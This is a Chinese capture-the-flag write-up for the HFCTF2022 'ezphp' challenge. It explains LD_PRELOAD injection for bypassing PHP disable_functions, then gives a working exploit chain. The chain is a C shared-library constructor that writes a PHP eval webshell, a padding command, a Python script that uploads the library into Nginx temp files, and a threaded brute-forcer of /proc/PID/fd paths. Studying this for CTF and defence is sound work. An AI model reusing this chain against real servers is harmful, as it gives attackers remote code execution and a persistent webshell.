虎符CTF2022-ezphp
ezphp
题目源码:
<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>
上传恶意的.so文件,并通过设置LD_PRELOAD,然后调用新进程来加载恶意.so文件,达到绕过的效果。
LD_PRELOAD的介绍
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
什么是链接
程序的链接主要有以下三种:
- 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
- 装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
- 运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。但是由于程序是在运行时动态加载,这就存在一个问题,假如程序动态加载的函数是恶意的,就有可能导致disable_function被绕过。
使用LD_PRELOAD绕过的条件
- 能够上传自己的.so文件
- 能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数
- 存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等
当我们能够设置环境变量,比如putenv函数未被禁止,我们就可以把LD_PRELOAD变量设置为恶意.so文件的路径,只要启动新的进程就会在新进程运行前优先加载该恶意.so文件,由此,恶意代码就被注入到程序中。
如何上传.so文件
/var/lib/nginx/fastcgi目录
找到了调用方式,接下里就是找到上传临时文件的方式。
通过看zeddy师傅的文章https://tttang.com/archive/1384/,可以发现 /var/lib/nginx/fastcgi
目录是 Nginx 的 http-fastcgi-temp-path
,这些临时文件格式是: /var/lib/nginx/fastcgi/x/y/0000000yx
当 Nginx 接收来自 FastCGI 的响应时,若大小超过限定值不适合以内存的形式来存储的时候,阈值的大小大概在 32KB 左右,一部分就会以临时文件的方式保存到磁盘上。
但是在临时存储文件后会在很短的时间内删除,利用条件比较苛刻。具体姿势可以看zeddy师傅的文章。
/proc/PID/fd/目录
如果打开一个进程打开了某个文件,某个文件就会出现在 /proc/PID/fd/
目录下,但是如果这个文件在没有被关闭的情况下就被删除了或是中断了,我们依然可以读取到文件内容。
使用多层符号链接绕过的场景?
查找进程pid
https://blog.csdn.net/mediatec/article/details/88578101
这篇文章详细讲解了proc目录中的常见文件。
Nginx 会有很多 Worker 进程,但是一般来说 Worker 数量不会超过 cpu 核心数量,我们可以通过 /proc/cpuinfo
中的 processor 个数得到 cpu 数量,我们可以对比找到的 Nginx Worker Pid 数量以及 CPU 数量来校验我们大概找的对不对。同样我们可以爆破pid得到文件位置,如果题目给了docker,那就可以现在本地查找文件存放的位置。
编译.so文件
先写一个c文件:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/shell.php");
}
放到kali中,使用gcc转换为so文件
gcc -shared -fPIC 1.c -o 1.so
增大so文件的大小,在so文件尾部加入脏字符:
var=`dd if=/dev/zero bs=1c count=10000 | tr '\0' 'c'`
echo $var >> 1.so
可以看到so文件大小增大。
运行脚本:
gen_tmp.py
向网站发包:
from threading import Thread
import requests
import socket
import time
port = 28077
host = "1.14.71.254"
def do_so():
data = open("1.so", "rb").read()
packet = f"""POST /index.php HTTP/1.1\r\nHOST:{host}:{port}\r\nContent-Length:{len(data) + 11}\r\n\r\n"""
packet = packet.encode()
packet += data
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(packet)
time.sleep(10)
s.close()
if __name__ == "__main__":
do_so()
brute.py
爆破一下pid(其实可以在docker中直接查找临时文件的位置,但是爆破同样也很快,还不用动脑子。)
import requests
from threading import Thread
port = 28077
host = "1.14.71.254"
def ldload(pid, fd):
sopath = f"/proc/{pid}/fd/{fd}"
print(sopath)
r = requests.get(f"http://{host}:{port}/index.php", params={"env":f"LD_PRELOAD={sopath}"})
return r
if __name__ == "__main__":
# ldload(20, 20)
for pid in range(12, 40):
for fd in range(1, 40):
t = Thread(target=ldload, args=(pid, fd))
t.start()
python3 gen_tmp.py & python3 brute.py
发现shell.php可以访问